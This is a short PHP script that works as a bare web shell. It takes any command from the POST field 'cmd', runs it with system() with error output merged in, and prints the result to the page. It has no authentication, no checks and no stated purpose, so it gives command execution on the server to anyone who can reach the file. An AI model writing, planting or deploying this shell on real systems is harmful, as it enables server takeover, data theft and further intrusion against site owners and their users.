<?php
ini_set('display_errors',1);
error_reporting(E_ALL);
ob_implicit_flush();

$cmd = $_POST['cmd'];
echo "command:($cmd) <hr />";
$cmd .= " 2>&1";
echo "<pre>";
system($cmd);
echo "</pre>"
?>